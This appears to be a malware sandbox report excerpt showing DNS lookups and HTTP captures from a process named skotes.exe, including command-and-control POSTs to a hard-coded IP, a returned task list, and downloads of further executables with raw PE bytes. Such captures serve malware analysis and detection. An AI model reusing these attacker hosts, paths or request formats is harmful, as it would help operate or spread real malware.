Nov 7, 2024 06:01:27.474951982 CET	1.1.1.1	192.168.2.4	0x8f	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:27.498966932 CET	1.1.1.1	192.168.2.4	0xe747	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:27.525124073 CET	1.1.1.1	192.168.2.4	0xda08	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:27.550229073 CET	1.1.1.1	192.168.2.4	0xa935	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:28.491034985 CET	1.1.1.1	192.168.2.4	0x2567	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 7, 2024 06:01:28.491359949 CET	1.1.1.1	192.168.2.4	0x92bf	No error (0)	www.google.com		142.250.185.164	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:32.826313019 CET	1.1.1.1	192.168.2.4	0x8069	No error (0)	www.google.com		142.250.186.68	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:32.826407909 CET	1.1.1.1	192.168.2.4	0xdd35	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 7, 2024 06:01:51.040132046 CET	1.1.1.1	192.168.2.4	0x1295	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:51.081809044 CET	1.1.1.1	192.168.2.4	0xd0ed	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:51.136553049 CET	1.1.1.1	192.168.2.4	0x48db	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:51.203355074 CET	1.1.1.1	192.168.2.4	0x11e6	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:51.229993105 CET	1.1.1.1	192.168.2.4	0xcf07	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49763	185.215.113.43	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:03.935497046 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 7, 2024 06:01:04.856365919 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49774	185.215.113.43	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:06.381283998 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 45 37 36 42 38 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12E76B85982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 7, 2024 06:01:07.300597906 CET	658	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 64 33 0d 0a 20 3c 63 3e 31 30 30 34 35 32 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 39 38 35 37 30 33 66 64 39 30 31 32 33 35 37 66 35 64 32 31 65 66 35 34 62 34 64 63 64 64 65 38 62 61 61 37 65 37 39 62 32 39 63 37 31 35 31 38 66 31 34 33 65 62 34 34 35 30 34 39 35 62 38 63 39 32 65 31 30 30 62 37 23 31 30 30 34 35 33 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 34 35 33 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 34 35 33 35 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 [TRUNCATED] Data Ascii: 1d3 <c>1004528001+++b5937c1a99d5f9985703fd9012357f5d21ef54b4dcdde8baa7e79b29c71518f143eb4450495b8c92e100b7#1004533001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1004534001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1004535031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1004536001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49780	104.21.21.16	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:07.328984022 CET	61	OUT	GET /dl/15306544/pohtent.exe HTTP/1.1 Host: tmpfiles.org
Nov 7, 2024 06:01:07.930115938 CET	1236	IN	HTTP/1.1 403 Forbidden Date: Thu, 07 Nov 2024 05:01:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Nk7HMr6WaXEoOYrqicR3ZoNYgooUZ9ySf%2FWH3jhPVXkYJ42avCZ%2BnJBlRFSFXMu67C6S7aa%2F8eJiZpDbqOp6pZAu3nCSVCYL6YMdrwMjPctqU18KCoCGRRGFuoi64Z4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8deac37c1ad96bd4-DFW Data Raw: 31 31 36 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 53 75 73 [TRUNCATED] Data Ascii: 1168<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-width,initial-scale=1" /><link rel="stylesheet" id="cf
Nov 7, 2024 06:01:07.930151939 CET	1236	IN	Data Raw: 5f 73 74 79 6c 65 73 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 Data Ascii: _styles-css" href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><scrip
Nov 7, 2024 06:01:07.930171013 CET	1236	IN	Data Raw: 65 6e 74 69 61 6c 20 70 68 69 73 68 69 6e 67 2e 3c 2f 73 74 72 6f 6e 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 50 68 69 73 68 69 6e 67 20 69 73 20 77 68 65 6e 20 61 20 73 69 74 65 20 61 74 74 65 6d 70 74 73 20 74 6f 20 73 74 65 Data Ascii: ential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <p> <a href="https://www.cloudflare.
Nov 7, 2024 06:01:07.930182934 CET	636	IN	Data Raw: 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 64 65 61 63 33 37 63 31 61 64 39 36 62 64 34 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 Data Ascii: b-1">Cloudflare Ray ID: <strong class="font-semibold">8deac37c1ad96bd4</strong></span> <span class="cf-footer-separator sm:hidden">•</span> <span id="cf-footer-item-ip" class="cf-footer-item hidden sm:block sm:mb-1"> Your IP
Nov 7, 2024 06:01:07.930192947 CET	680	IN	Data Raw: 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 61 3e Data Ascii: w.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a></span> </p> <script>(function(){function d(){var b=a.getElementById("cf-footer-item-ip"),c=a.getElementById("cf-footer-ip-reveal");b&&"classList"in b&&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49791	185.215.113.43	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:09.443969965 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 30 3d 31 30 30 34 35 32 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1004528001&unit=246122658369
Nov 7, 2024 06:01:10.345208883 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49797	185.215.113.16	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:10.355082989 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 7, 2024 06:01:11.257962942 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:11 GMT Content-Type: application/octet-stream Content-Length: 3152896 Last-Modified: Thu, 07 Nov 2024 04:53:38 GMT Connection: keep-alive ETag: "672c47d2-301c00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 20 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 30 00 00 04 00 00 09 a5 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ 0@P00@Th@ @.rsrc@@.idata @ynqmdufg``@eotpqovp0/@.taggant0 0"/@
Nov 7, 2024 06:01:11.257983923 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:11.258002043 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:11.258023977 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:11.258074999 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:11.258086920 CET	1236	IN	Data Raw: 77 22 d7 1d 90 2e 0a 6e 15 6b 78 a8 9b d5 16 e0 4c de d7 54 c4 2e db 17 93 1f 54 5b b1 a4 80 c3 d0 1f 4a a1 b0 27 74 6b 11 7d 57 5c 8c aa 98 80 b0 aa 5c df 4c 23 dd a0 b0 43 1b a1 b0 2f 54 5c 8c 1f d4 56 02 2e d8 47 99 1f 54 e1 55 aa 88 80 9b a8 Data Ascii: w".nkxLT.T[J'tk}W\\L#C/T\V.GTUiK6kxhsxd\=HT\huW\gVY\cxicTCTVMjTqCl9CdCC`CC\CCXCC<TP;''\C\"C\Rcx
Nov 7, 2024 06:01:11.258096933 CET	448	IN	Data Raw: ad 93 58 e5 7f 50 4a e6 65 28 45 d2 bf d8 55 5c 8c 1f d7 98 b0 21 d1 84 19 a3 78 b7 8e 1f 54 e5 d0 43 6c e7 d0 43 60 1d 6d 33 79 5c 8c 1f 63 5d 54 a8 98 80 98 a8 a0 80 ac 50 4a 46 68 29 54 5c 19 ab 78 b7 8e 1f 54 e5 d8 43 6c e9 10 43 b0 5e 8c 1f Data Ascii: XPJe(EU\!xTClC`m3y\c]TPJFh)T\xTClC^N_y{xh-v#5ckT\S\+=`L0x`?=*CXC\|kB+mCdj[(Gcxhtc'^D75cT\x
Nov 7, 2024 06:01:11.258179903 CET	1236	IN	Data Raw: 17 63 78 60 0f df 51 e6 62 15 17 60 9b a3 32 6c 8c 1f d9 1c 9c a3 8c 6c 8c 1f d4 9a 8c 2e d8 c5 ab 1f 54 e9 cd 23 df d0 b0 23 d7 22 89 c7 57 6b 10 e0 63 5c 8c a4 4a 6c 10 30 64 5c 8c 08 5b 6c 8c 1f dc f0 b0 7a 56 5c 8c e6 98 80 ac 20 54 5c 8c e5 Data Ascii: cx`Qb`2ll.T##"Wkc\Jl0d\[lzV\ T\KT#C\T#C`\TC^7'T\R_T\=lTCxkB !T\Scx\|T\RcxST\+T\zV\fC1]\CxSC\\Tk[\Ke
Nov 7, 2024 06:01:11.258193016 CET	1236	IN	Data Raw: 5e aa b0 80 a4 aa c8 80 90 af e4 ec 1c af e4 ec 1c af e4 ec 1c 2e 0a a1 9f 20 dc 60 a2 2e 0a a1 9f 21 dc a0 a2 20 63 12 d1 32 57 e4 d0 35 56 6b 42 63 67 60 14 63 6a 5f 9b d5 98 6f 91 a7 98 72 90 2e 0a a1 9f 25 dc a0 a2 24 63 12 d1 32 5b e4 d0 35 Data Ascii: ^. `.! c2W5VkBcg`cj_or.%$c2[5ZkBcgdcjc\]^ba&cxt#g.aXjX "CXC/c-LG%{xl)"C?iRcxU\}$#xaTe7*Y Tn>
Nov 7, 2024 06:01:11.258203983 CET	1236	IN	Data Raw: 2b f8 1e d4 bf fb 4e e8 d0 43 5c e9 14 1f 54 5c 8f 5c 53 5c 8c 1f cb 7c 69 01 34 3d 2b 2e da 26 a2 1f 54 35 57 fc 35 3a 66 fe 34 fb 65 0d 2e 26 66 e9 63 e2 41 34 54 5c 69 f7 31 35 16 6b 78 64 4a 25 54 5c 8c aa 58 80 0f 17 54 d1 8e a8 1a e0 78 3b Data Ascii: +NC\T\\S\\|i4=+.&T5W5:f4e.&fcA4T\i15kxdJ%T\XTx;1/o+'[#O`r T\WTn<?J'XRC\^(WUCC\i#C`\TChClE\|$T\dT\J'
Nov 7, 2024 06:01:11.262979031 CET	1236	IN	Data Raw: 53 5f 58 8c bc 4f 84 23 cd 27 84 8c bc 4f 1b 9d 98 4f 84 8c bc e6 94 6c bc 4f 84 8c 53 5f 68 8c bc 4f 84 23 cd 37 84 8c bc 4f 1b 9d a8 4f 84 8c bc a2 14 7d 19 6a 34 e0 4f fb d7 57 85 a8 1f cf 45 a4 1d d1 d1 a8 1e e0 6e 26 c8 7e bd fa e4 ec 1c af Data Ascii: S_XO#'OOlOS_hO#7OO}j4OWEn&~Xtb6V4}6x!&]TO##OU{x\|3CdN\OHGCtgl"^6XP/Z]kxpT=f>^jECXNH.O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49827	185.215.113.43	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:15.197411060 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 34 35 33 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004533001&unit=246122658369
Nov 7, 2024 06:01:16.107611895 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49834	185.215.113.16	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:16.114870071 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 7, 2024 06:01:17.038976908 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:16 GMT Content-Type: application/octet-stream Content-Length: 2132992 Last-Modified: Thu, 07 Nov 2024 04:53:51 GMT Connection: keep-alive ETag: "672c47df-208c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 80 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 72 00 00 04 00 00 29 d7 20 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,r@r) @P.d. p.v@.rsrc .@.idata .@ ).@wltmzozyX@awschmvgprf @.taggant0r"j @
Nov 7, 2024 06:01:17.038996935 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:17.039017916 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:17.039031982 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:17.039041042 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:17.039052963 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:17.039067984 CET	124	IN	Data Raw: 10 cf 90 67 a3 97 fb 16 4c 6a 97 32 a6 fb 7e 4c 86 34 c7 66 16 7e 77 77 4d 3a 7d e8 53 cb fc da b2 33 f4 93 0d 23 c0 09 15 44 77 e8 2e 87 59 1b 15 af 7f dc 2e 87 13 2e 15 af 7f d0 2e 88 cd 3f 15 d0 f4 e7 c2 fb 3c e4 b6 42 75 8c a0 24 9d a9 4a 88 Data Ascii: gLj2~L4f~wwM:}S3#Dw.Y...?<Bu$J6~W3\|7rm'$%{yDAnpzj
Nov 7, 2024 06:01:17.039077997 CET	1236	IN	Data Raw: 9e e3 96 8c 40 ac fb de a4 1f 54 98 e7 4d 61 9b 11 a8 c0 a4 aa 3c 85 40 d2 2e 77 da bd 88 71 c3 2e 43 76 0d d3 c1 24 c4 fc c8 48 a4 87 41 cc 39 b9 aa 24 6a e6 27 30 d2 cc 37 80 15 15 33 23 6c 78 e7 2e d2 8d 23 ca b4 cc 1b a7 06 7a 00 9f dc e4 c8 Data Ascii: @TMa<@.wq.Cv$HA9$j'073#lx.#z$Ek&$byrq,0ha?O!7J#Whj%MRR~8;T$:p"[4FFqnyM]~%[!H$p@*0`Uf`:pmr
Nov 7, 2024 06:01:17.039088964 CET	212	IN	Data Raw: 8a 40 6d 40 10 00 b2 f3 29 04 15 de e7 bc 65 b2 12 f8 2f 75 99 9d f1 73 ba 9b 42 e2 03 b5 7e b2 86 40 c9 f4 6b 45 43 e4 9c a6 6f 6a 25 5b 6f 9a 10 56 48 b9 95 c7 df 81 94 db df d4 65 9e b1 8a ef e3 60 c2 40 c1 a9 97 94 0d 20 de f5 f1 6d f0 e8 36 Data Ascii: @m@)e/usB~@kECoj%[oVHe`@ m6][<=-'m2{/Ia/Bgv#OqWV`6b'#iAGtdZE2.}Rv.{54]\|,q7
Nov 7, 2024 06:01:17.039102077 CET	1236	IN	Data Raw: 8b f1 6d bf f0 1b ca 89 34 21 df f0 cc 3e 47 88 9d 8b 4f dc 66 2f 69 0c de f9 81 b5 ac 3f 02 c5 cf 03 14 8b a4 db 2e 78 9b 77 e3 af e5 33 cb 87 66 6b 7b ac 5e 07 89 7f 6c 11 24 14 aa 2c c3 b0 93 d1 4e 65 74 5b 67 08 26 22 d7 d2 96 df 77 ec b0 db Data Ascii: m4!>GOf/i?.xw3fk{^l$,Net[g&"w0lS**n#xhc&;GpI{.8#$?d"Zdj"4/H#,!7GLzwMj_p4}Pp@G&,G'g(Ga6;g4og&
